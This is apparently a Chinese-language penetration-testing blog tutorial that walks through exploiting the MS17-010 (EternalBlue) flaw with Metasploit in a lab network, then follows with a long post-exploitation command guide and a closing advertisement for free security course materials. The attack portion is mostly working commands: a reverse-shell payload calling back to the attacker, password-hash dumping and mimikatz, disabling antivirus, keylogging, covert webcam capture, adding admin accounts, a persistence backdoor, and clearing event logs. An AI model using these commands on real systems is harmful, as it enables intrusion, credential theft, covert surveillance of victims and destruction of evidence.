
上一期我们对Metasploit有了一个简单的了解,这一期我们开始实战
一、MS17_010(永恒之蓝)
我们现在模拟使用 MS17_010 漏洞攻击,这个漏洞就是前些年危害全球的勒索病毒利用的永恒之蓝漏洞。
1.1 查找漏洞相关模块:
1、在kali命令行里面输入命令msfconsole,进入msf框架中:
msfconsole#输入这个命令主要是进入msf渗透框架中
2、搜索MS17_010漏洞: 命令:
searchms17_010#利用search命令,搜索漏洞相关利用模块
这里找到了四个模块,前三个是漏洞利用模块,后两个是辅助模块,主要探测主机是否存在MS17_010漏洞。
1.2 利用 Auxiliary辅助探测模块 对漏洞进行探测:
Auxiliary辅助探测模块 : 该模块不会直接在攻击机和靶机之间建立访问,它们只负责执行扫描,嗅探,指纹识别等相关功能以辅助渗透测试。
1、使用smb_ms17_010漏洞探测模块对smb_ms17_010漏洞进行探测: 命令:
useauxiliary/scanner/smb/smb_ms17_010
2、查看这个模块需要配置的信息: 命令:
showoptions#查看这个模块需要配置的信息
3、设置要探测的远程目标: 注:RHOSTS 参数是要探测主机的ip或ip范围,我们探测一个ip范围内的主机是否存在漏洞 命令:
setrhosts192.168.100.100-192.168.100.190
4、对上面设置的ip范围内的主机进行攻击: 注:有+号的就是可能存在漏洞的主机,这里有2个主机存在漏洞 命令:
exploit
1.3 使用 Exploit漏洞利用模块 对漏洞进行利用:
1、选择漏洞攻击模块,对漏洞进行利用: 命令:
useexploit/windows/smb/ms17_010_eternalblue
2、查看这个漏洞的信息: 命令:
info:#查看这个漏洞的信息
3、查看可攻击的系统平台,显示当前攻击模块针对哪些特定操作系统版本、语言版本的系统: 命令:
showtargets
注:这里只有一个,有些其他的漏洞模块对操作系统的语言和版本要求的很严,比如MS08_067,这样就要我们指定目标系统的版本的。如果不设置的话,MSF会自动帮我们判断目标操作系统的版本和语言(利用目标系统的指纹特征)。
1.4 Payload攻击载荷模块:
攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令。
1、查看攻击载荷: 命令:
showpayloads#该命令可以查看当前漏洞利用模块下可用的所有Payload
2、设置攻击载荷: 命令:
setpayloadwindows/x64/meterpreter/reverse_tcp
3、查看模块需要配置的参数: 命令:
showoptions
4、设置攻击载荷参数: 命令:
setRHOST192.168.100.158#设置RHOST,也就是要攻击主机的ipsetLHOST192.168.100.132#设置LHOST,也就是我们主机的ip,用于接收从目标机弹回来的shellsetlport6666#设置lport,也就是我们主机的端口,反弹shell到这个端口;如果我们这里不设置lport的话,默认是4444端口监听;

5、进行攻击:

二、后渗透阶段
运行了 exploit命令 之后,我们开启了一个 reverse TCP监听器 来监听本地的 6666 端口,即我(攻击者)的本地主机地址(LHOST)和端口号(LPORT)。运行成功之后,我们将会看到命令提示符 meterpreter > 出现:

Meterpreter的命令用法:
Meterpreter>?==========================================核心命令:==========================================命令说明-------------------?帮助菜单background把当前会话挂到后台运行bgbackground命令的别名bgkill杀死后台meterpreter脚本bglist列出正在运行的后台脚本bgrun执行一个meterpreter脚本作为后台线程channel显示信息或控制活动频道close关闭一个频道detach分离Meterpreter会话(用于http/https)disable_unicode_encoding禁用unicode字符串的编码enable_unicode_encoding启用unicode字符串的编码exit终止Meterpreter会话get_timeouts获取当前会话超时值guid获取会话GUIDhelp帮助菜单info显示有关Post模块的信息irb在当前会话中打开一个交互式Rubyshellload加载一个或多个Meterpreter扩展machine_id获取连接到会话的机器的MSFIDmigrate将服务器迁移到另一个进程pivot管理枢轴侦听器pry在当前会话上打开Pry调试器quit终止Meterpreter会话read从通道读取数据resource运行存储在文件中的命令run执行一个Meterpreter脚本或Post模块secure(重新)协商会话上的TLV数据包加密sessions快速切换到另一个会话set_timeouts设置当前会话超时值sleep强制Meterpreter安静,然后重新建立会话ssl_verify修改SSL证书验证设置transport管理运输机制use不推荐使用的load命令别名uuid获取当前会话的UUIDwrite将数据写入通道==========================================Stdapi:文件系统命令==========================================命令说明-------------------cat将文件内容读到屏幕上cd切换目录checksum检索文件的校验和cp将源复制到目标del删除指定文件dir列出文件(ls的别名)download下载文件或目录edit编辑文件getlwd打印本地工作目录getwd打印工作目录lcd更改本地工作目录lls列出本地文件lpwd打印本地工作目录ls列出文件mkdir制作目录mv将源移动到目标pwd打印工作目录rm删除指定文件rmdir删除目录search搜索文件show_mount列出所有挂载点/逻辑驱动器upload上传文件或目录==========================================Stdapi:网络命令==========================================命令说明-------------------arp显示主机ARP缓存getproxy显示当前代理配置ifconfig显示界面ipconfig显示接口netstat显示网络连接portfwd将本地端口转发到远程服务resolve解析目标上的一组主机名route查看和修改路由表==========================================Stdapi:系统命令==========================================命令说明-------------------clearev清除事件日志drop_token放弃任何活动的模拟令牌。execute执行命令getenv获取一个或多个环境变量值getpid获取当前进程标识符getprivs尝试启用当前进程可用的所有权限getid获取服务器运行的用户的SIDgetuid获取服务器运行的用户kill终止进程localtime显示目标系统本地日期和时间pgrep按名称过滤进程pkill按名称终止进程ps列出正在运行的进程reboot重启远程计算机reg修改远程注册表并与之交互rev2self在远程机器上调用RevertToSelf()shell放入系统命令shellshutdown关闭远程计算机steal_token尝试从目标进程窃取模拟令牌suspend暂停或恢复进程列表sysinfo获取有关远程系统的信息,例如OS==========================================Stdapi:用户界面命令==========================================命令说明-------------------enumdesktops列出所有可访问的桌面和窗口站getdesktop获取当前的meterpreter桌面idletime返回远程用户空闲的秒数keyboard_send发送击键keyevent发送按键事件keyscan_dump转储击键缓冲区keyscan_start开始捕获击键keyscan_stop停止捕获击键mouse发送鼠标事件screenshare实时观看远程用户桌面screenshot抓取交互式桌面的截图setdesktop更改meterpreters当前桌面uictl控制一些用户界面组件==========================================Stdapi:网络摄像头命令:==========================================命令说明-------------------record_mic从默认麦克风录制音频X秒webcam_chat开始视频聊天webcam_list列出网络摄像头webcam_snap从指定的网络摄像头拍摄快照webcam_stream从指定的网络摄像头播放视频流==========================================Stdapi:音频输出命令:==========================================命令说明-------------------play在目标系统上播放波形音频文件 (.wav)==========================================Priv:权限提升命令:==========================================命令说明-------------------getsystem尝试将您的权限提升到本地系统的权限。==========================================Priv:密码数据库命令:==========================================命令说明-------------------hashdump转储SAM数据库的内容==========================================Priv:Timestomp命令:==========================================命令说明-------------------timestomp操作文件MACE属性meterpreter>
我们输入: shell 即可切换到目标主机的 windows cmd_shell 里面: 命令:
shell#获取目标主机的cmd_shell权限chcp65001#这里为了避免目标主机cmd_shell字符乱码,设置目标主机命令行的字符编码,65001是UTF-8

要想从目标主机shell退出到 meterpreter ,我们只需输入: exit :

从 meterpreter 退出到 MSF框架 : 命令:
background#把我们获得的meterpreter会话挂载到后台运行
查看前面获得的 meterpreter_shell 会话,最前面的数字是会话的id: 命令:
sessions-l#查看获得的meterpreter_shell会话列表
输入sessions [id号]即可进入相应的 meterpreter_shell 中:

输入:shell即可进入 cmd 类型的控制,再输入: powershell ,即可进入 powershell 类型的控制台:

sysinfo#查看目标主机系统信息runscraper#查看目标主机详细信息runhashdump#导出密码的哈希loadkiwi#加载mimikatzps#查看目标主机进程信息pwd#查看目标当前目录(windows)getlwd#查看目标当前目录(Linux)search-f*.jsp-de:\#搜索E盘中所有以.jsp为后缀的文件downloade:\test.txt/root#将目标机的e:\test.txt文件下载到/root目录下upload/root/test.txtd:\test#将/root/test.txt上传到目标机的 d:\test\ 目录下getpid#查看当前Meterpreter Shell的进程PIDmigrate1384#将当前Meterpreter Shell的进程迁移到PID为1384的进程上idletime#查看主机运行时间getuid#查看获取的当前权限getsystem#提权,获得的当前用户是administrator才能成功runkillav#关闭杀毒软件screenshot#截图webcam_list#查看目标主机的摄像头webcam_snap#拍照webcam_stream#开视频execute参数-f可执行文件#执行可执行程序rungetgui-utest1-pAbc123456#创建test1用户,密码为Abc123456rungetgui-e#开启远程桌面keyscan_start#开启键盘记录功能keyscan_dump#显示捕捉到的键盘记录信息keyscan_stop#停止键盘记录功能uictldisablekeyboard#禁止目标使用键盘uictlenablekeyboard#允许目标使用键盘uictldisablemouse#禁止目标使用鼠标uictlenablemouse#允许目标使用鼠标load#使用扩展库run#使用扩展库runexploit/windows/local/persistencelhost=192.168.100.132lport=8888#会自动连接192.168.100.132的8888端口,缺点是容易被杀毒软件查杀portfwdadd-l9999-r192.168.100.158-p3389#将192.168.11.13的3389端口转发到本地的9999端口上,这里的192.168.100.158是获取权限的主机的ip地址clearev#清除日志
2.1 Post 后渗透模块:
该模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作。
runpost/windows/manage/migrate#自动进程迁移runpost/windows/gather/checkvm#查看目标主机是否运行在虚拟机上runpost/windows/manage/killav#关闭杀毒软件runpost/windows/manage/enable_rdp#开启远程桌面服务runpost/windows/manage/autoroute#查看路由信息runpost/windows/gather/enum_logged_on_users#列举当前登录的用户runpost/windows/gather/enum_applications#列举应用程序runpost/windows/gather/credentials/windows_autologin#抓取自动登录的用户名和密码runpost/windows/gather/smart_hashdump#dump出所有用户的hash
输入:sysinfo 查看目标主机的信息:

2.2 查看主机是否运行在虚拟机上:
查看主机是否运行在虚拟机上,可以看出主机是在虚拟机环境: 命令:
runpost/windows/gather/checkvm
2.3 关闭杀毒软件:
拿到目标主机的shell后第一件事就是关闭掉目标主机的杀毒软件,通过命令:
runkillav
2.4 获取目标主机的详细信息:
使用命令:
runscraper
它将目标机器上的常见信息收集起来然后下载保存在本地
2.5 访问文件系统:
Meterpreter支持非常多的文件系统命令(基本跟Linux系统命令类似),一些常用命令如下:
pwd#查看当前目录cd#切换目标目录;cat#读取文件内容;rm#删除文件;edit#使用vim编辑文件ls#获取当前目录下的文件;mkdir#新建目录;rmdir#删除目录;

2.6 上传/下载文件:
2.6.1 下载文件:
命令:
downloadfile#命令可以帮助我们从目标系统中下载文件

2.6.2 上传文件:
命令:
uploadfile#命令则能够向目标系统上传文件。
2.7 权限提升:
有的时候,你可能会发现自己的 Meterpreter 会话受到了用户权限的限制,而这将会严重影响你在目标系统中的活动。比如说,修改注册表、安装后门或导出密码等活动都需要提升用户权限,而Meterpreter给我们提供了一个 getsystem 命令,它可以使用多种技术在目标系统中实现提权。
命令:
getuid#命令可以获取当前用户的信息,可以看到,当我们使用 getsystem进行提权后,用户身份为 NT AUTHORITY\SYSTEM ,这个也就是Windows的系统权限。getsystem#自动提权为系统权限

注:执行getsystem命令后,会显示错误,但是其实已经运行成功了!
2.8 获取用户密码:
2.9 运行程序:
先查看目标主机安装了哪些应用: 命令:
runpost/windows/gather/enum_applications#查看目标主机安装了哪些应用
在meterpreter_shell命令行执行目标系统中的应用程序: 命令:
#execute命令用法:execute [参数] -f指定的可执行文件-f:指定可执行文件-H:创建一个隐藏进程-a:传递给命令的参数-i:跟进程进行交互-m:从内存中执行-t:使用当前伪造的线程令牌运行进程-s:在给定会话中执行进程

2.11 屏幕截图:
1、截图目标主机屏幕,可以看到,图片被保存到了 /root/桌面/ 目录下: 命令:
screenshot#截图目标主机屏幕
2、目标主机的屏幕截图如下:

2.12 创建一个新账号:
先查看目标主机有哪些用户: 命令:
runpost/windows/gather/enum_logged_on_users#查看目标主机有用户
在目标系统中创建一个新的用户账号的方法一: 命令:
rungetgui-u用户-p密码-u: 指定用户-p: 指定密码
注:这个命令会创建用户,并把他添加到 Administrators 组中,这样该用户就拥有远程桌面的权限了。这里成功创建了用户,但是添加到Administrators组中失败了!

如果添加到Administrators组中失败了的话,我们可以运行:shell ,进入cmd窗口手动将该用户添加到administrators组中。 在目标系统中创建一个新的用户账号的方法二: 命令:
enable_rdp脚本:runpost/windows/manage/enable_rdpUSERNAME=test2PASSWORD=Abc123456#添加用户runpost/windows/manage/enable_rdp#开启远程桌面runpost/windows/manage/enable_rdpFORWARD=trueLPORT=6662#将3389端口转发到6662

2.13 启用远程桌面:
当我们新添加的用户已经拥有远程桌面之后,我们就可以使用这个账号凭证来开启远程桌面会话了。
首先,我们需要确保目标Windows设备开启了远程桌面功能(需要开启多个服务),我们输入: run post/windows/manage/enable_rdp 命令可以开启远程桌面。
在开启远程桌面会话之前,我们还需要使用 idletime命令 检查远程用户的空闲时长:
idletime#检查远程用户的空闲时长
开启远程桌面: 命令:
runpost/windows/manage/enable_rdp
然后我们就可以使用远程桌面用我们创建的用户远程登录目标主机了。由于上一步创建的用户没有被添加到远程桌面用户组中,所以这一步就没法演示。
2.14 键盘记录:
Meterpreter还可以在目标设备上实现键盘记录功能,键盘记录主要涉及以下三种命令:
keyscan_start:#开启键盘记录功能,开关键盘记录功能后目标输入的内容我们就通过keyscan_dump命令在Meterpreter里面进行查看;keyscan_dump:#显示捕捉到的键盘记录信息keyscan_stop:#停止键盘记录功能
注:在使用键盘记录功能时,通常需要跟目标进程进行绑定,接下来我们介绍如何绑定进程,然后获取该进程下的键盘记录。
2.15 进程迁移:
Meterpreter 既可以单独运行,也可以与其他进程进行绑定。因此,我们可以让Meterpreter与类似explorer.exe这样的进程进行绑定,并以此来实现持久化。
在下面的例子中,我们会将 Meterpreter 跟 winlogon.exe 绑定,并在登录进程中捕获键盘记录,以获得用户的密码。
首先,我们需要使用: ps 命令查看目标设备中运行的进程:

我们可以使用: getpid 查看我们当前的进程id:

使用: migrate + 目标进程ID 命令来绑定目标进程id,可以看到通过进程迁移后,当前的 Meterpreter 的 pid 已经和 winlogon.exe 一样了:

这里绑定目标pid的时候,经常会断了shell。进程迁移后会自动关闭原来Meterpreter进程,没有关闭可使用 kill pid 命令关闭进程。
或者使用自动迁移进程( run post/windows/manage/migrate )命令,系统会自动寻找合适的进程然后迁移。
2.16 禁止目标主机使用键盘鼠标:
命令:
uictldisable(enable) keyboard#禁止(允许)目标使用键盘uictldisable(enable) mouse#禁止(允许)目标使用鼠标
2.17 用目标主机摄像头拍照:
webcam_list#获取目标系统的摄像头列表webcam_snap#从指定的摄像头,拍摄照片webcam_stream#从指定的摄像头,开启视频
获取目标系统的摄像头列表,可以看到目标主机有一个摄像头:

可以指定的摄像头拍摄照片,可以看到已经获得从目标主机拍摄到的照片:

开启摄像头拍摄视频,会弹出一个网页,可以查看到摄像头那端的实时录像:

2.18 常用扩展库介绍:
meterpreter中不仅有基本命令还有很多扩展库,下面就介绍一下常用的扩展库的查看方法。
2.18.1 load/use命令:
load/use#加载模块load-l#列出所有可用的扩展load-help#帮助;说明
输入命令: load -l 会列出所有可用的扩展:

输入 load 后, 双击Tab键 列出可用扩展:

2.18.2 run命令:
run#执行一个已有的模块#run+双击Tab键,会列出所有的已有的脚本;#常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等。
run+双击Tab键 ,会列出所有的已有的脚本:

注:这里输入run后,双击Tab键列出所有的已有的脚本;
2.19 生成持续性后门:
因为 meterpreter 是基于 内存DLL 建立的连接,所以,只要目标主机关机,我们的连接就会断。总不可能我们每次想连接的时候,每次都去攻击,然后再利用 meterpreter 建立连接。所以,我们得在目标主机系统内留下一个持续性的后门,只要目标主机开机了,我们就可以连接到该主机。
建立持续性后门有两种方法,一种是通过 启动项启动(persistence) ,一种是通过 服务启动(metsvc)
2.19.1 启动项启动:
启动项启动的话,我们先生成一个后门木马。 点击进入:用MSF生成一个后门木马!
然后放到 windows的启动目录 中:
C:\Users\$username$\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup这样这个后门每次开机就都能启动了,然后我们只要相连就监听相应的端口就行了。
2.19.2 服务启动:
通过服务启动,我们可以运行命令:
runexploit/windows/local/persistencelhost=192.168.100.132lport=8888#自动连接192.168.100.158的8888端口,缺点是容易被杀毒软件查杀#然后它就在目标机新建了这个文件:C:\Windows\TEMP\****.vbs ,并把该服务加入了注册表中,只要开机就会启动AI写代码

我们在被攻击机可以看到这个文件,是一个VBScript脚本:

查看靶机的端口连接情况,可以看到靶机连着我们的8888端口:

2.20 设置Socks代理:
2.21 portfwd端口转发:
portfwd是meterpreter提供的一种基本的端口转发。porfwd可以反弹单个端口到本地,并且监听,使用方法如下:
portfwdadd-l9999-r192.168.100.158-p3389#将192.168.100.158的3389端口转发到本地的9999端口上,这里的192.168.100.158是获取权限的主机的ip地址-l: #本地监听的端口,用于接收目标主机的端口反弹-p: #目标服务器的端口;add: #添加一个连接

然后我们只要访问本地的3389端口就可以连接到目标主机的3389端口了:
rdesktop127.0.0.1:9999#因为通过端口转发功能已经把3389的流量转发到本地的9999端口,所以只要连接本地的9999端口就相当于连接了目标机器的3389端口;


如果不想继续连接的话,可以删除当前建立的连接,执行以下命令:
portfwddelet-l9999-r192.168.100.158-p3389delet: #删除一个连接

2.22 清除事件日志:
完成攻击操作之后,千万别忘了"打扫战场"。我们的所有操作都会被记录在目标系统的日志文件之中,因此我们需要在完成攻击之后使用以下命令来清除事件日志:
clearev#清除事件日志
三、导入并执行PowerShell脚本
如果powershell脚本是用于域内信息收集的,则获取到的权限用户需要是域用户:
loadpowershell#加载powershell功能powershell_import/root/PowerView.ps1#导入powershell脚本,提前将该powershell脚本放到指定目录powershell_executeGet-NetDomain#执行该脚本下的功能模块Get-domain,该模块用于获取域信息,一个脚本下通常有多个功能模块;获取当前用户所在域的名称;powershell_executeInvoke-UserHunter#该功能模块用于定位域管理员登录的主机;powershell_executeGet-NetForest#该模块用于定位域信息powershell_executeInvoke-EnumerateLocalAdmin#枚举域中所有计算机上本地管理员组的成员


四、加载stdapi
有时候虽然我们获取到了meterpreter,但是执行一些命令会显示没有该命令,这时我们可以执行:load stdapi来加载,这样我们就可以执行命令了。

五、升级Session
有时候,当我们收到的不是 meterpreter 类型的话,可能不好操作。我们可以执行命令 sessions -u id 来升级session。执行该命令,默认调用的是 post/multi/manage/shell_to_meterpreter 模块。



作为一个网络安全初学者,大家在学习过程中难免会遇到各种各样的问题,比如:
对安全技术感兴趣,想自学但不知道从哪一块入手;
大学选的信安或网安专业,不知道如何利用假期给自己充电;
即将参加CTF比赛,不知道如何在比赛中取得好成绩;
校招面试就要开始了,不知道如何拿到满意的offer;
想挖企业SRC赚钱,但一直挖不到该怎么办;
想参加护网赚钱,但苦于没有学习方向和面试机会;
想转行从事网络安全的工作,不知道需要掌握哪些技术点;
如果你也有上面这些问题,那一定一定不能错过我整理的这套网络安全零基础资源包,资源包里的内容包含:
网络安全/信息安全零基础学习路线图
150节网络安全攻防技术视频教程
200+网络安全/信息安全pdf书籍
30+护网红蓝对抗技术文档
6000+SRC漏洞挖掘文档
100+CTF夺旗赛必备工具包
历年CTF夺旗赛真题解析
50份安全攻防面试真题及答案
20份安全工程师简历模版
不收费
不收费
不收费
重要的事情说三遍,我整理的这套资源包不收费!

全套网络安全/信息安全学习资源包
关注我后回复关键词【领资料】,即可抱走!
关注我后回复关键词【领资料】,即可抱走!
关注我后回复关键词【领资料】,即可抱走!
方向不对,努力白费!对于刚接触网络安全的同学,我帮大家准备了详细的零基础学习路线图。
经过几千位同学的反馈,这套路线图可以说是最科学、最系统的学习路线,大家跟着这个大的方向学习准没问题。

考虑到很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,内容从计算机网络、HTML、MySQL数据库等基础知识点开始讲解,内容由浅入深、循序渐进,确保每一位同学都听得懂、学得会、用得上。

除了看视频学习,我们也能通过书籍文档快速上手掌握某个具体的技术,这也是我现在学习新知识最常用的方式。


受限于篇幅的原因,剩下的内容就不在这里一一展示了,大家如果需要的话,可以扫描下方二维码领取!(不收费、不收费、不收费)
全套网络安全/信息安全学习资源包
关注我后回复关键词【领资料】,即可抱走!
关注我后回复关键词【领资料】,即可抱走!
关注我后回复关键词【领资料】,即可抱走!
重要的事情说三遍!